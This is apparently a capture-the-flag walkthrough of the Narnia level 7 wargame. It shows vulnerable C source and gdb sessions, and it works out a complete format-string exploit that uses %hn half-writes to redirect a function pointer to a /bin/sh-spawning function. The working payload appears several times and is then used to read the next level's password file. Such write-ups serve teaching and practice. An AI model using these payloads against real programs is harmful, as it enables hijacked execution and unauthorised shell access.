Level 7
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int goodfunction();
int hackedfunction();
int vuln(const char *format){
char buffer[128];
int (*ptrf)();
memset(buffer, 0, sizeof(buffer));
printf("goodfunction() = %p\n", goodfunction);
printf("hackedfunction() = %p\n\n", hackedfunction);
ptrf = goodfunction;
printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
printf("I guess you want to come to the hackedfunction...\n");
sleep(2);
ptrf = goodfunction;
snprintf(buffer, sizeof buffer, format);
return ptrf();
}
int main(int argc, char **argv){
if (argc <= 1){
fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
exit(-1);
}
exit(vuln(argv[1]));
}
int goodfunction(){
printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
fflush(stdout);
return 0;
}
int hackedfunction(){
printf("Way to go!!!!");
fflush(stdout);
system("/bin/sh");
return 0;
}
It looks like the aim is to overwrite what ptrf
points to.
narnia7@narnia:/narnia$ ./narnia7
Usage: ./narnia7 <buffer>
narnia7@narnia:/narnia$ ./narnia7 a
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd68c)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
Looking at the source code, the only argument we pass in is format
- which gets passed in to snprintf
. Let’s see this in more details.
narnia7@narnia:/narnia$ gdb -q narnia7
Reading symbols from narnia7...(no debugging symbols found)...done.
(gdb) break vuln
Breakpoint 1 at 0x80485d6
(gdb) r 'DDDD%x.%x.%x.%x.%x.%x.%x'
Starting program: /narnia/narnia7 'DDDD%x.%x.%x.%x.%x.%x.%x'
Breakpoint 1, 0x080485d6 in vuln ()
(gdb) set disassembly-flavor intel
(gdb) disass vuln
Dump of assembler code for function vuln:
0x080485cd <+0>: push ebp
0x080485ce <+1>: mov ebp,esp
0x080485d0 <+3>: sub esp,0xa8
=> 0x080485d6 <+9>: mov DWORD PTR [esp+0x8],0x80
0x080485de <+17>: mov DWORD PTR [esp+0x4],0x0
0x080485e6 <+25>: lea eax,[ebp-0x88]
0x080485ec <+31>: mov DWORD PTR [esp],eax
0x080485ef <+34>: call 0x80484b0 <memset@plt>
0x080485f4 <+39>: mov DWORD PTR [esp+0x4],0x80486e0
0x080485fc <+47>: mov DWORD PTR [esp],0x80487d0
0x08048603 <+54>: call 0x8048420 <printf@plt>
0x08048608 <+59>: mov DWORD PTR [esp+0x4],0x8048706
0x08048610 <+67>: mov DWORD PTR [esp],0x80487e5
0x08048617 <+74>: call 0x8048420 <printf@plt>
0x0804861c <+79>: mov DWORD PTR [ebp-0x8c],0x80486e0
0x08048626 <+89>: mov eax,DWORD PTR [ebp-0x8c]
0x0804862c <+95>: lea edx,[ebp-0x8c]
0x08048632 <+101>: mov DWORD PTR [esp+0x8],edx
0x08048636 <+105>: mov DWORD PTR [esp+0x4],eax
0x0804863a <+109>: mov DWORD PTR [esp],0x80487fd
0x08048641 <+116>: call 0x8048420 <printf@plt>
0x08048646 <+121>: mov DWORD PTR [esp],0x8048818
0x0804864d <+128>: call 0x8048450 <puts@plt>
0x08048652 <+133>: mov DWORD PTR [esp],0x2
0x08048659 <+140>: call 0x8048440 <sleep@plt>
0x0804865e <+145>: mov DWORD PTR [ebp-0x8c],0x80486e0
0x08048668 <+155>: mov eax,DWORD PTR [ebp+0x8]
0x0804866b <+158>: mov DWORD PTR [esp+0x8],eax
0x0804866f <+162>: mov DWORD PTR [esp+0x4],0x80
0x08048677 <+170>: lea eax,[ebp-0x88]
0x0804867d <+176>: mov DWORD PTR [esp],eax
0x08048680 <+179>: call 0x80484c0 <snprintf@plt>
0x08048685 <+184>: mov eax,DWORD PTR [ebp-0x8c]
0x0804868b <+190>: call eax
0x0804868d <+192>: leave
0x0804868e <+193>: ret
End of assembler dump.
(gdb) b *0x08048680
Breakpoint 2 at 0x8048680
(gdb) n
Single stepping until exit from function vuln,
which has no line number information.
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd66c)
I guess you want to come to the hackedfunction...
Breakpoint 2, 0x08048680 in vuln ()
(gdb) x/20wx $esp
0xffffd650: 0xffffd670 0x00000080 0xffffd8e4 0x08048238
0xffffd660: 0xffffd6c8 0xf7ffda94 0x00000000 0x080486e0
0xffffd670: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd680: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd690: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/x 0x080486e0
0x80486e0 <goodfunction>: 0x55
(gdb) x/x *hackedfunction
0x8048706 <hackedfunction>: 0x55
(gdb) x/4wx $esp
0xffffd650: 0xffffd670 0x00000080 0xffffd8e4 0x08048238
(gdb) x/s 0xffffd8e4
0xffffd8e4: "DDDD%x.%x.%x.%x.%x.%x.%x"
(gdb) p 0x00000080
$3 = 128
Before the call to snprintf
we can see the arguments being placed on the stack. We’ll want to, somehow, overwrite $ebp-0x8c
.
0x08048685 <+184>: mov eax,DWORD PTR [ebp-0x8c]
0x0804868b <+190>: call eax
(gdb) p/x $ebp-0x8c
$4 = 0xffffd66c
(gdb) ni
0x08048685 in vuln ()
(gdb) x/4wx $esp
0xffffd650: 0xffffd670 0x00000080 0xffffd8e4 0x08048238
(gdb) x/s 0xffffd670
0xffffd670: "DDDD8048238.ffffd6c8.f7ffda94.0.80486e0.44444444.38343038"
(gdb) x/x *0xffffd66c
0x80486e0 <goodfunction>: 0x55
We can overwrite the contents of 0xDDDD
(a placeholder) by picking up the 5th argument off the stack. In a nutshell, we’ll want to replace 0xDDDD
with the address of ptr
(0xffffd66c
) - and the value should be 0x08048706
- the address of hackedfunction
.
There are a number of ways to go about doing that but the simplest is, I’m told, is to split the write into two halves using the $hn
modifier. We’d usually write the lower half first (0x8706) but because higher one is less (0x0804), we have to do it the other way around (as the second write cannot have ‘less bytes’ written than the first).
The format string will look like this: <0xffffd66c+2:higher><0xffffd66c:lower><0x08040-8 bytes for higher address><half write><0x8706-0x0802 bytes for lower address><half write>
(gdb) p 0x0804-8
$2 = 2044
(gdb) p 0x8706-0x0804
$3 = 32514
(gdb) r $(python -c 'print "DDDDEEEE%.x%.x%.x%.x%.x%.x%.x"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia7 $(python -c 'print "DDDDEEEE%.x%.x%.x%.x%.x%.x%.x"')
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd65c)
I guess you want to come to the hackedfunction...
Breakpoint 1, 0x08048680 in vuln ()
(gdb) ni
0x08048685 in vuln ()
(gdb) x/s 0xffffd660
0xffffd660: "DDDDEEEE8048238ffffd6b8f7ffda9480486e04444444445454545"
We now have our byte counts ready, and we know where both addresses will be positioned on the stack - in the 6th and 7th position respectively.
(gdb) r $(python -c 'print "\x6e\xd6\xff\xff\x6c\xd6\xff\xff%.2044x%6$hn%.32514x%7$hn"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia7 $(python -c 'print "\x6e\xd6\xff\xff\x6c\xd6\xff\xff%.2044x%6$hn%.32514x%7$hn"')
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd65c)
I guess you want to come to the hackedfunction...
Breakpoint 1, 0x08048680 in vuln ()
(gdb) ni
0x08048685 in vuln ()
(gdb) x/x 0xffffd660
0xffffd660: 0x6e
(gdb) x/x *0xffffd660
0xffffd66e: 0x04
(gdb) r $(python -c 'print "\x5e\xd6\xff\xff\x5c\xd6\xff\xff%.2044x%6$hn%.32514x%7$hn"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia7 $(python -c 'print "\x5e\xd6\xff\xff\x5c\xd6\xff\xff%.2044x%6$hn%.32514x%7$hn"')
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd65c)
I guess you want to come to the hackedfunction...
Breakpoint 1, 0x08048680 in vuln ()
(gdb) ni
0x08048685 in vuln ()
(gdb) c
Continuing.
Way to go!!!!$
Cool! We can now replicate this outside of gdb
:
narnia7@narnia:/narnia$ ./narnia7 $(python -c 'print "\x5e\xd6\xff\xff\x5c\xd6\xff\xff%.2044x%6$hn%.32514x%7$hn"')
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd66c)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
The memory location for ptrf
has changed - let’s update that quickly:
narnia7@narnia:/narnia$ ./narnia7 $(python -c 'print "\x6e\xd6\xff\xff\x6c\xd6\xff\xff%.2044x%6$hn%.32514x%7$hn"')
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd66c)
I guess you want to come to the hackedfunction...
Way to go!!!!$ cat /etc/narnia_pass/narnia8
*** password ***